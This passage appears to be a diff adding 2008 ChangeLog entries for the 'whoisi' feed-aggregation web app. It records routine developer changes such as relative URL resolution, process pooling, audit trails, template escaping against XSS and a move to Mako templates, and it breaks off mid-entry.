+2008-07-14  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/controllers.py (Root.peopleListToFullDisplay): Refactored
+       function that is used from search and the follow display to gather
+       the data for display.
+       (Root.search): Use the refactored display function.
+       (Root.follow): Use the refactored display function.
+
+2008-07-13  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * tests/twisted/local/test_feedparse.py (TestFeedParse.test_feedParse):
+       We need to set feed_url in the state.
+       (TestFeedParse.test_stupidFeedParse): Same.
+
+       * tests/twisted/network/test_newsite.py (TestNewSite.confirmRelativeFeed):
+       Actually test to make sure we got the right relative urls resolved
+       to full urls.
+
+       * whoisi/static/tests/relative_feed.html: Use relative_feed.atom.
+
+       * whoisi/static/tests/relative_feed.atom: Test case that includes
+       a <link> that is relative.
+
+       * services/command/newsite.py (NewSiteCreate.createSite): Some
+       debug spew when we're creating the site.
+
+       * services/command/feedparse.py (FeedUpdateDatabaseCommand.updateSite):
+       Resolve relative urls when updating the url in the site.
+
+2008-07-12  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/master/refreshmanager.py (RefreshManager.getRandomRefreshTime):
+       Change the default time from 30 minutes to 60.
+
+       * services/master/worker.py (Worker.acceptingWork): Change the
+       default depth from 30 to 80 items in the work queue at once.
+
+       * services/command/feedparse.py (FeedUpdateDatabaseCommand.gotEntries):
+       Make sure to check if a link is null before trying to see if it's
+       relative.
+
+2008-07-12  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * blacklist_rss.txt: Add some more blacklist rss feeds.
+
+       * tests/twisted/local/test_feedparse.py (TestFeedParse.test_stupidFeedParse):
+       We now need the url set in the state to resolve relative urls.
+       (TestFeedParse.test_feedParse): Same.
+
+       * tests/twisted/network/test_newsite.py (TestNewSite.test_NewSiteRelativeEntries):
+       New test that tests what happens when we end up with relative
+       entries.
+       (TestNewSite.test_NewSiteRelativeEntriesReddit): Live test
+       vs. Reddit
+       (TestNewSite.test_NewSiteRelativeEntriesGitHub): Live test
+       vs. GitHub
+       (TestNewSite.test_NewSiteRelativeEntriesNoLink): Relative entries
+       with no link in the rss.
+       (TestNewSite.test_NewSiteRelativeEntriesRelativeLink): Testing
+       relative entries with a relative link in the feed.
+
+       * services/command/newsite.py (NewSiteTryURL.loadDone): Use the
+       resolve_relative_url function to resolve a relative url.
+       (NewSiteTryURL.feedLoadDone): If you see a link in the feed make
+       sure to resolve the relative url.
+
+       * services/command/previewsite.py (PreviewSiteDone.doCommand):
+       Resolve any relative urls that might be in the entries.
+
+       * services/command/picasa.py (PicasaSetup.gotNewSite): Get the url
+       as well as the feed so we can resolve relative urls.
+       (PicasaSetup.gotSite): Set the original url in the environment.
+
+       * services/command/utils.py (resolve_relative_url): Utility
+       function to resolve relative urls.
+
+       * services/command/feedparse.py (FeedRefreshSetup.gotNewSite):
+       Make sure to pull the base url for the refresh so we can resolve
+       relative urls.
+       (FeedRefreshSetup.gotFeed): Set the url that we get back and add
+       it to the debugging output.
+       (FeedUpdateDatabaseCommand.doCommand): Add the site id to the
+       debugging spew so we know what site id we're getting updates for.
+       (FeedUpdateDatabaseCommand.gotEntries): Fix up entries that might
+       be relative before we insert or compare them.
+
+2008-07-04  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * blacklist_rss.txt: Start a list of rss feeds we need to f-ing
+       ban.
+
+       * tests/nose/test_newsite.py (TestNewSite.test_delicious): Tests
+       for delicious url detection.
+       (TestNewSite.test_delicious_preferred): Tests for picking the
+       right delicious feed from the list.
+
+       * whoisi/utils/sites.py (site_value): Add delicious to the sort
+       list.
+
+       * whoisi/templates/delicious-widget.mak: Delicious widget derived
+       from the weblog widget.
+
+       * whoisi/templates/follow.mak: Add delicious.
+
+       * whoisi/templates/everyone.mak: Add delicious.
+
+       * whoisi/templates/person-widget.mak: Add delicious.
+
+       * whoisi/controllers.py (Root.getDisplayDepth): Add delicious.
+       (Root.rendersite): Add delicious.
+
+       * whoisi/static/css/style.css: Delicious entries.
+
+       * whoisi/static/images/sites/delicious.png: Delicious image. 
+
+       * services/command/newsite.py: Add support for delicious.
+
+       * services/command/flickr.py (Flickr.getPreferredFeed): Little bug
+       fix.  Return None if there's no match.
+
+2008-07-03  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * tests/twisted/network/test_previewsite.py: Some tests for the
+       previewsite code.  Right now we just test a common case and a
+       preview with no link in the rss to make sure that the feed link is
+       properly updated.
+
+       * tests/twisted/network/test_newsite.py: Add tests (one for
+       relative <link> in a feed, one for relative entries in a feed, one
+       for a combination of the two, one for relative entries with no
+       <link)) that will get filled in when I fix those bugs.
+
+       * whoisi/static/tests/no-link.atom: Test feed without a <link>.
+
+       * whoisi/static/tests/no-link.html: Test page for testing an rss
+       feed with no <link>.
+
+       * smoketest.txt: The site that I was using for testing flickr went
+       away!
+
+       * services/command/newsite.py (NewSiteTryURL.feedLoadDone): Add
+       some more debugging spew so we can diagnose problems later.
+
+       * services/command/previewsite.py (PreviewSiteDone.doCommand):
+       Some feeds don't include a <link> tag so we need to make sure we
+       get the link from the state url instead of strictly out of the
+       feed.
+
+2008-07-02  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * clean_site_refresh.py: Script that cleans out done and error
+       status from the site_refresh table.
+
+2008-07-02  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/identica-widget.mak: They changed the text to
+       the title instead of in the summary.  Oops.
+
+2008-07-02  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * tests/nose/test_newsite.py (TestNewSite.test_identica): Code to
+       test the identi.ca url detection.
+
+       * services/command/newsite.py (NewSiteTryURL.getFeedType): Set the
+       type for identi.ca urls.
+
+       * services/command/identica.py (Identica.isIdentica): New code to
+       detect a identi.ca url.
+
+       * whoisi/utils/sites.py (site_value): Sort identi.ca right after
+       twitter.
+
+       * whoisi/templates/follow.mak: Add identi.ca to the switch.
+
+       * whoisi/templates/identica-widget.mak: Direct copy of the twitter
+       code used to display identi.ca instead.
+
+       * whoisi/templates/twitter-widget.mak: When calling
+       expand_user_ref() make sure to pass in the twitter base url since
+       identi.ca uses it now.
+
+       * whoisi/templates/everyone.mak: Add the identi.ca widget to the
+       switch.
+
+       * whoisi/templates/person-widget.mak: Add the identi.ca widget to
+       the switch.
+
+       * whoisi/controllers.py (Root.getDisplayDepth): Add identi.ca to
+       the switch for display.
+       (Root.rendersite): Add identi.ca to the switch.
+
+       * whoisi/static/images/sites/identica.png: Image for identi.ca
+
+       * whoisi/utils/twitter.py (expand_user_ref): Add a "base_site" so
+       that we can render both twitter and identi.ca messages.
+
+2008-07-02  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * tests/twisted/local/data/no-link.atom: New test feed that
+       doesn't include a <link> in the <feed> section that found a bug in
+       the preview code.
+
+       * whoisi/utils/url_lookup.py (run_db_check): Don't include
+       SiteHistory in the search.
+
+2008-07-02  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/index.mak: Add a little beta-quality warning.
+
+2008-07-02  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/contact.mak: New contact page.
+
+       * whoisi/templates/about.mak: More edits that taste like community
+       guidelines.
+
+       
+2008-07-02  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/about.mak: Add a nice about page instead of the
+       angry one of old.
+
+2008-06-30  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/controllers.py (Root.addpersonstatus): Don't try to
+       search all of the links in the feed for a duplicate.  Turns out
+       that links in google reader, delicious, etc, all point to the same
+       stuff.  So we just look at the link instead of all of the links in
+       the feed.
+
+2008-06-29  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * tests/twisted/local/data/GasteroProd: A feed that I found that
+       totally busts the parser.  Good for a later test case.
+
+       * tests/twisted/local/test_feedparse_perf.py (TestFeedParsePerf):
+       Woo, something that iterates with the parser and sees how fast it
+       can go!
+
+       * master-service: Debugging spew for now.
+
+       * services/command/htmlscrape.py (ScrapeLinkCommand): Use the new
+       sm.serviceFailed call.
+
+       * services/command/picasa.py (PicasaPollFeed): Use the new
+       sm.serviceFailed call.
+
+       * services/command/service.py (ParseProcess): Lots of changes here
+       to move from a parse-per-process-start to one where the process
+       sits around and parses over and over again.  The SubService now
+       gets information about when this class is done starting (via
+       getStarted()) and when the process has exited (via getGone()).
+       There's an explicit assert in here that makes sure you can't start
+       a parse when one parse is already in progress.  This already found
+       one bug so it's staying.  When we're done parsing we carefully
+       save the deferred, reset our state, and call the callback.  We do
+       this because the callback can cause another parse on this process
+       to start so we need to be ready for that re-entrant case.
+       (SubService): Minor changes here.  Just accessors to the various
+       functions in ParseProcess.  Note the shutdown() accessor which
+       helps with shutdown.
+       (ServicePool): New class that mangages a pool of processes.  Right
+       now it's hard coded at 2 because that's the smallest number of
+       processes that seems to get a decent perf boost.  Adding more
+       didn't help and it was a good bit faster than one process.
+       Processes move through various states - starting, idle, working
+       and shutting down.  It also has support for checking out a process
+       and checking it back in.  You need to tell it if the process has
+       failed.  So there's some fragility here.  It also keeps stats on
+       how often something has been used.  Note that it supports a
+       shutdown process as well.
+       (ServiceManager): Use the ServicePools instead of just creating a
+       new process every time someone wants access to the service.  It
+       creates the pools on demand.  New callback is serviceFailed()
+       instead of releaseService() when a process fails.  It has a
+       shutdown() call as well and it works!  Yay!
+
+       * services/command/feedparse.py (FeedParseCommand): Call
+       sm.serviceFailed if the parse service fails instead of just
+       returning it to the good queue.
+
+       * services/master/refreshmanager.py (RefreshManager.checkForNewSites):
+       Don't poll sites that have been removed.
+
+       * Random files: Debugging spew everywhere until I feel like the
+       master + controllers are stable and well-tested.
+
+       * services/master/worker.py (WorkManager.dispatchCommands): Fix
+       big performance problem when the command queue is very deep.  We
+       walk the queue based on the available controllers instead of the
+       depth of the queue and go until the controllers are full, not the
+       other way around.  Trying to poll 5000 sites the early way
+       completely locked the master process.  It does fine now.
+
+2008-06-29  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/about.mak: Remove the word stupid.  I felt like
+       it was ruining the entire page.
+
+2008-06-28  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * Touch nearly every template and make sure that things are
+       escaped to avoid XSS problems.  Too many changes to list here.
+       Thanks to Shawn Lauriat <shawn@frozen-o.com> for the great bug
+       reports.
+
+2008-06-28  Joe Shaw  <joe@joeshaw.org>
+
+       * utils/follower_stats.py: Print out the 10 most followed people.
+
+2008-06-28  Joe Shaw  <joe@joeshaw.org>
+
+       * utils/follower_stats.py: Print out some date usage histograms
+       as well.  Clean up the code a bit.
+
+2008-06-28  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/flickr-widget.mak: Missing closing </div> tag.
+
+       * whoisi/templates/twitter-widget.mak: Missing closing </div> tag.
+       Amazed the site rendered at all.
+
+2008-06-28  Joe Shaw  <joe@joeshaw.org>
+
+       * utils/follower_stats.py: Print out some statistics about the
+       userbase and how many people they follow.
+
+2008-06-27  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/search.mak: Escape unsafe data.
+
+       * whoisi/templates/search-widget.mak: Escape unsafe data.
+
+2008-06-26  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * utils/delete_user.py: Utility that deletes a user and all data
+       associated with it.
+
+2008-06-26  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/static/css/style.css: Add a background-color to the
+       style for the body.
+
+2008-06-26  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/controllers.py (Root.follow): Catch the IndexError that's
+       generated by history_to_clusters when there's nothing new found
+       and redirect to the follow-no-entries template.
+
+       * whoisi/templates/follow-no-entries.mak: New template for when
+       people are following someone but they haven't posted anything new.
+
+2008-06-26  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/master/worker.py (Worker.acceptingWork): Bump the
+       number of possible commands in progress to 30 instead of 15.
+
+       * whoisi/templates/about.mak: Fix some spacing.
+
+2008-06-26  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/master.mak: Add a footer.
+
+       * whoisi/controllers.py (Root.about): About method.
+
+       * whoisi/templates/about.mak: Silly about page.
+
+2008-06-25  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/nofollow.mak: Add some text to the follow page
+       that teaches people how to follow others.
+
+2008-06-25  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/master.mak: If you're following anyone display
+       a "login later" link.
+
+       * whoisi/templates/login-info.mak: Template that displays login
+       info.
+
+       * whoisi/controllers.py (Root.logininfo): New method that gives
+       you a link to log in later.
+
+2008-06-23  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/api.py: Add getPersonForURL and getURLForTinyLink.
+
+       * Rename whoisi.utils.addperson.py to whoisi.utils.url_lookup.
+       
+       * whoisi/controllers.py: Rename addperson to url_lookup.
+
+2008-06-23  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * Remove all of widgets/ and all of the .kid files from
+       whoisi/templates.
+
+2008-06-22  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/preview_site.py (convert_feed_to_fake_site): Make
+       sure to clamp the max_depth that's passed in to the size that's
+       actually in the feed.
+
+       * whoisi/controllers.py (Root.addpersonstatus): Make the depth
+       that we get for previews the "max depth" instead of the final
+       depth.
+
+2008-06-22  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/config/app.cfg: Turn tg.empty_flash to False so we don't
+       return a tg_flash on every json call, even if we didn't set it.
+
+       * whoisi/utils/fast_api.py: Add fast api sql calls.
+
+       * whoisi/api.py: Add an api controller.  Include getMaxPersonID,
+       getPeople and getPerson.
+
+       * whoisi/controllers.py: Add an api contoller to the main
+       controller.
+       (Root.nameadd): Fix bug where we were passing newname instead of
+       name and it was failing with an unknown variable.
+
+2008-06-22  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/everyone.mak: Point to the everyone page
+       instead of the follow page for the More... link (thanks, Joe!)
+
+2008-06-22  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/twitter-widget.mak: Make a short link when
+       we're not doing a preview and use the full link when we are doing
+       a preview.  Had them reversed.  Oops.
+       
+2008-06-22  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/fast_follow.py (fast_people_ids_by_name_for_follower):
+       Quick search that sorts by name for a particular follower.
+
+       * whoisi/templates/follow.mak: Add a way to sort by person instead
+       of by time.
+
+       * whoisi/templates/follow-byname.mak: New template to show a list
+       of people sorted by their name instead of entries by time.
+
+       * whoisi/controllers.py (Root.follow): Add new sort by name mode
+       for the follow page.  Use a somewhat fast lookup to get the people
+       ids for this follower, sorted by name.  Use the same code as
+       search to generate a list of paged results and pass it down to the
+       follow-byname template.
+
+       * whoisi/model.py (Follower.get_person_cache): Get at the person
+       cache.  Not used by anything, but it's fine leaving it in here.
+
+2008-06-22  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/weblog-widget.mak: Fix problem where untitled
+       topics were escaped so you saw the HTML markup.
+
+2008-06-22  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/config/app.cfg: Default to Mako for templating.  Set
+       default encoding and output encoding to utf-8.  Also turn off
+       visit and identity tracking since we're not using it for anything.
+
+       * whoisi/controllers.py: Change everything to use Mako templating
+       instead of crappy Kid templating.  Too many changes to document
+       but most of the widget rendering is driven by render_template
+       instead of the random widget rendering code.
+
+       * Tons and tons of changes to templates.  Look in
+       whoisi/templates/*.mak for all the various templates.
+
+2008-06-17  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/addperson.py (run_db_check): Get rid of the lower()
+       checks in the database query - they didn't add much and were slow
+       as fuck.
+
+2008-06-17  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/controllers.py (Root.unfollowperson): Make sure to
+       unfollow once per follow/person match in the database.  There can
+       be multiples.
+
+2008-06-17  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/controllers.py (Root.nameadd): Should be using the alias
+       id for the audit trail, not the person id.
+
+2008-06-17  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/recaptcha.py (recaptcha_check_fail): Don't check
+       the recaptcha if recaptcha.enabled is set to False in the config
+       file.
+
+       * whoisi/controllers.py (Root.addperson): Add track info to the
+       new site request.
+       (Root.addpersonpick): Make sure to pass along the old track info
+       with the new site request.
+       (Root.addpersonconfirm): Audit when we add a new person and also
+       pass track_info from the old site request.
+       (Root.l): Use function to get tracking info.
+       (Root.siteaddpost): Add track info when adding a site.
+       (Root.siteremove): Add audit trail for removing a site.
+       (Root.nameupdate): Add audit trail for a name change.
+       (Root.nameremove): Add audit trail for removing an alias.
+       (Root.nameadd): Add audit trail for adding an alias.
+       (Root.followperson): Add audit trail for when following someone.
+       (Root.unfollowperson): Add audit trail for when unfollowing
+       someone.
+
+       * whoisi/model.py (NewSite): Add a track_info field to the new
+       site request.  We need this so that we can track the original data
+       that was available when someone wanted to create the new site.
+       Used by NewSiteAudit, eventually.
+       (ChangeAudit): New class that holds auditing data.
+
+       * services/command/controller.py (NewSiteManager): Add
+       NewSiteAudit after NewSiteCreate.
+       (NewLinkedInManager): Same.
+       (NewPicasaManager): Same.
+
+       * services/command/newsite.py (NewSiteSetup): Add the track_info
+       field to what we pull from the database.  Save it in the new_site
+       object saved in the state.
+       (NewSiteAudit): New object that drops an audit item into the audit
+       table for when we make new sites.  Takes info from the state that
+       was added when the new site was pulled from the database.
+
+       * services/command/linkedin.py (NewLinkedInSetup): Add the
+       track_info field to what we pull from the database.  Save it in
+       the new_site object saved in the state.
+
+       * whoisi/utils/track.py (get_request_tracking): Make the tracking
+       code a function.  Returns a tuple of remoteip, proxy + ua that's
+       available in the request.
+
+2008-06-15  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/tests/test_controllers.py: Add a quick and dirty test for
+       measuring performance.
+
+       * test-ws.cfg: New cfg file for running the webserver for tests.
+
+       * start-test-whoisi.sh: Use the test-ws.cfg script to start up the
+       test server.  We're using the test.cfg config for actual testing.
+
+2008-06-15  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * utils/query_everyone_perf.py: Simple test that runs the everyone
+       query as fast as possible in a loop.
+
+2008-06-15  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/controllers.py (Root.p): Add an f=1 optional argument to
+       the /p method to follow someone in one click.
+
+2008-06-14  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/sites.py (fast_sites_for_person): Ignore sites that
+       have been removed when getting sites for a person.
+
+       * whoisi/utils/addperson.py (run_db_check): When doing a db check
+       for a dup site ignore sites that have been removed.
+
+       * whoisi/utils/fast_history.py: Don't show sites that have been
+       removed for everyone or follow queries.
+
+       * whoisi/controllers.py (Root.siteremove): When removing a site
+       just set the removed flag and set the removed time.
+
+       * whoisi/model.py (Site): Add isRemoved flag and removed date to
+       the site column.  We need this so that we can mark things as
+       removed, but don't actually remove them.  (This is so we can
+       recover later.)
+
+2008-06-14  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/fast_history.py: For everyone and follow ignore
+       site_history entries that have on_new set to 1.
+
+2008-06-14  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/feedparse.py (FeedUpdateDatabaseCommand.insertEntry):
+       When inserting a new entry look to see if there's a new_site flag
+       set in the state.  If there is, we're adding a new site and set
+       the on_new flag for this particular entry.
+
+       * whoisi/model.py (SiteHistory): Add an "on_new" bool flag that
+       tells us if this item was added when the site was first added.
+
+2008-06-14  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/fast_history.py: Don't bother trying to re-order
+       entries as they come out of the database because the id of the
+       items should be the rough living order of them from here on out.
+
+       * services/command/feedparse.py (FeedUpdateDatabaseCommand): Add
+       an "inserts" array member that keeps track of the entry items we
+       need to insert into the database.
+       (FeedUpdateDatabaseCommand.gotEntries): Change the way that we
+       figure out how to insert items into the database.  Updated items
+       run first and inserts are done one at a time, iterating through
+       the feed list from oldest to newest.  We also force the code to
+       get the id of the new item to make sure it's complete before we
+       move on to the next item.  This gives us a rough approximation of
+       oldest-to-newest in the database based only on the id of the site
+       entry.
+
+2008-06-13  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/person.kid: Make follow + unfollow
+       different.
+
+       * whoisi/widgets/templates/twitter.kid: Make follow + unfollow
+       different.
+
+       * whoisi/widgets/templates/picasa.kid: Make follow + unfollow
+       different.
+
+       * whoisi/widgets/templates/weblog.kid: Make follow + unfollow
+       different.
+
+       * whoisi/widgets/templates/flickr.kid: Make follow + unfollow
+       different.
+
+       * whoisi/controllers.py (Root.followperson): Method now only adds
+       a person to follow, not a toggle.
+       (Root.unfollowperson): New method to stop following a person.
+       (Root.get_follow_text): New method that's used by the follow and
+       unfollow code to tell you how many people you're following.
+
+       * whoisi/model.py: Change set existence testing from if foo to if
+       foo is None.  That was a bug.  Also make add_person a little more
+       resistant to race conditions and make remove_person lossy.
+
+       * whoisi/static/javascript/follow.js: Re-do the way that we attach
+       and update following status.  We now have explicit follow and
+       unfollow classes instead of just a toggle.  We also update the
+       "Follow Person" with a "Working..." while it's working and update
+       everything on the page at once.
+
+       * whoisi/model.py (Follower.cache_people): Use a set constructor
+       with a list comprehension - might go faster this way.
+       (Follower.add_person): Only add a person to this follower if they
+       aren't already in the database.  This isn't completely free of
+       race conditions, but it will help.  If we're already following try
+       to return the current one.
+       (Follower.remove_person): Use .discard instead of .remove in case
+       we try and stop following more than once.  This won't generate an
+       exception.  Lossy, and that's fine.
+
+       * whoisi/utils/follow.py: Add a pile of documentation to the
+       follow filter and follow manager code.  But no code changes.
+
+2008-06-12  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/search.kid: Set up search template to
+       be used as a header at the top of pages.
+
+       * whoisi/templates/index.kid: Use a hand-created search widget
+       instead of the standard one.  Stick a big logo in there.
+
+       * whoisi/templates/person.kid: Remove std header.
+
+       * whoisi/templates/search.kid: Remove std header.  Add a nice
+       css-styled area that gives result info.
+
+       * whoisi/templates/follow.kid: Remove std header.
+
+       * whoisi/templates/nofollow.kid: Remove std header.
+
+       * whoisi/templates/addform.kid: Remove std header and use search
+       widget instead.  Add a description in bold.
+
+       * whoisi/templates/everyone.kid: Remove std header.
+
+       * whoisi/static/images/*.png: New logos and images for headers.
+
+       * whoisi/templates/master.kid: Get rid of the visibility stuff.
+       Return "no one" if we're not following anyone for the
+       num_friends_text page.  Change the friendslink sidebar to an
+       always visible sidebar.
+
+       * whoisi/controllers.py (Root.followperson): Return "no one" if
+       we're not following anyone.  Also don't bother returning
+       "still_following" to the calling script.  We're not using that
+       flag anymore.
+
+       * whoisi/static/css/style.css: Change the friendslink to
+       nav-sidebar since it contains a pile of stuff now.  Make sure the
+       logo-header is aligned to the bottom.  Add a search-results-info
+       blue background header. to separate it from the content and the
+       header at the top of the page.
+
+       * whoisi/static/javascript/follow.js: Change to follownum to
+       update.  Don't bother hiding and showing since we're always
+       showing now.
+
+2008-06-12  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/search.kid: Clean up titles and naming.
+
+       * whoisi/templates/follow.kid: Clean up titles and naming.
+
+       * whoisi/templates/addform.kid: Clean up titles and naming.
+
+       * whoisi/templates/everyone.kid: Clean up titles and naming.
+
+       * whoisi/templates/nofollow.kid: Clean up titles and naming.
+
+       * whoisi/static/txt/robots.txt (Disallow): Add /addform and
+       /search to the disallow list.
+
+       * whoisi/templates/search.kid: Put search results in the title.
+
+       * whoisi/templates/person.kid: Use the person's name in the title
+       of the page.
+
+2008-06-12  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/static/icons/favicon.ico: Updated favicon.
+
+       * sources/favicon.png: Mini favicon in png form.
+
+       * sources/favicon.ico: Mini favicon.
+
+       * sources/whoisi-icon.svg: Full logo.
+
+       * sources/whoisi-icon-mini.svg: Mini-icon - used for the favicon
+       and eventually for the extension.
+
+2008-06-12  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/config/app.cfg: Add static pointer to robots.txt.
+
+       * whoisi/static/txt/robots.txt: Add robots.txt.
+
+2008-06-12  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/preview_site.py (SiteHistoryFakePreview): Remove
+       some debugging spew.
+
+2008-06-11  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/follow.py: Remove debugging spew.
+       
+2008-06-11  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * prod.cfg: Make server.environment="production" so people don't
+       get random stack traces.
+
+       * whoisi/templates/nofollow.kid: Simple "you're not following
+       anyone" page.
+
+       * whoisi/controllers.py (Root.p): If looking up a person doesn't
+       work raise cherrypy.NotFound (a 404.)
+       (Root.l): If looking up a short link fails, return a 404.
+       (Root.follow): If we're not following anyone return a graceful not
+       following anyone error page.
+
+2008-06-11  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/search.kid: Get rid of the number on the next
+       and previous links - it wasn't accurate.
+
+2008-06-11  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/search.kid: Show the full number of results
+       when displaying search results.  Also make sure to add a link to
+       the add page when there are no results.
+
+       * whoisi/controllers.py (Root.search): Pass down how many search
+       results there were and where we are in that process.
+
+       * whoisi/static/css/style.css: Add a small text subheader for
+       under the search results.
+       
+2008-06-11  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/static/css/style.css: Add a b.search-result-header for
+       the search results page.
+
+       * whoisi/controllers.py (Root.search): Add page handling to the
+       search results.
+
+       * whoisi/templates/search.kid: Add page handling to the search
+       results page.
+
+       * whoisi/widgets/templates/person.kid: Remove the "this is me" and
+       "spam" until they are done.
+
+2008-06-11  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/controllers.py (Root.addpersonconfirm): Make sure that
+       before allowing a person to be added that the old new_site is in a
+       "preview_done" state.  This should at prevent someone from adding
+       a person without having looked at a preview.
+
+       * smoketest.txt: Add a set of simple smoketests.
+
+2008-06-10  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/widgets.py (AliasesWidget): Add "other_names"
+       argument to the aliases widget.
+
+       * whoisi/controllers.py (Root.addpersonstatus): Add a
+       "feed_not_found" error handler.
+       (Root.nameremove): Add use fast_names_for_person to get the other
+       names and pass them down into the widget to render.
+       (Root.nameadd): Same.
+
+2008-06-09  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/person.kid: Use all the passed in data
+       to render site objects.
+
+       * whoisi/widgets/templates/twitter.kid: Use the passed in
+       other_names instead of generating it locally.
+
+       * whoisi/widgets/templates/picasa.kid: Use the passed in
+       other_names instead of generating it locally.
+
+       * whoisi/widgets/templates/personaddconfirm.kid: New confirm
+       widget to add a person.
+
+       * whoisi/widgets/templates/linkedin.kid: Support previews.
+
+       * whoisi/widgets/templates/aliases.kid: Use the passed in
+       other_names instead of generating it locally.
+
+       * whoisi/widgets/templates/weblog.kid: Passing down site history
+       means we don't have to figure it out here.  Support previews.
+
+       * whoisi/widgets/templates/flickr.kid: Passing down site history
+       means we don't have to figure it out here.  Support previews.
+
+       * whoisi/widgets/templates/personaddpickfeed.kid: New code to pick
+       a feed.  Stolen from the new site pick code.
+
+       * whoisi/widgets/widgets.py (PersonWidget): Pass down all the new
+       items by name.
+       (PersonAddPickFeedWidget): New widget to show a feed pick in the
+       preview screen.
+       (PersonAddConfirm): New widget to show a confirm question when
+       someone is ready to add a new person.
+
+       * whoisi/utils/sites.py (fast_sites_for_person): Fast query to get
+       sites for a person id.
+       (SiteFake): New fake site object.
+
+       * whoisi/utils/preview_site.py (convert_feed_to_fake_site):
+       Convers a feed from a preview into a fake site and site_history
+       objects.
+       (convert_linkedin_to_fake_site): Converts a linkedin preview query
+       to a simple fake site object.
+
+       * whoisi/utils/site_history.py (history_to_clusters): Remove some
+       debugging spew.
+
+       * whoisi/utils/names.py: New classes (NameFake) which is a fake
+       name object for a fast name lookup query.
+
+       * whoisi/utils/addperson.py: New code to look up either a simple
+       url or a complete feed and see if it's already in the database.
+       Tries to resolve / vs. no / issues.  Is case-insensitive which is
+       probably wrong.
+
+       * whoisi/utils/fast_history.py (fast_recent_changes_for_follower):
+       Use SiteHistoryFakeFollower instead of SiteHistoryFake (which is
+       now a root class that's used by a couple of other classes.)
+       (fast_recent_changes_for_everyone): Same.
+       (fast_site_history_for_site): Get site history for a specific site
+       except faster.
+       (PersonFake): Make the lookups here flat instead of using
+       sub-objects.
+       (SiteFake): Same.
+       (SiteHistoryFake): Same.
+       (SiteHistoryFakeBySite): Class that knows how to look up site
+       history info by name from a query.
+
+       * whoisi/utils/flickr.py (flickr_fill_thumbnails): Use entries
+       directly instead of passing in the entries and length to render.
+
+       * whoisi/templates/person.kid: New code to pass down all of the
+       various vars that are now passed in instead of rendered by the
+       site templates directly.
+
+       * whoisi/templates/search.kid: Don't include the new person form
+       directly, instead jump to the add person page.
+
+       * whoisi/templates/follow.kid: New code that passes down the
+       site_history object.
+
+       * whoisi/templates/addform.kid: New person add form.  Hard codes
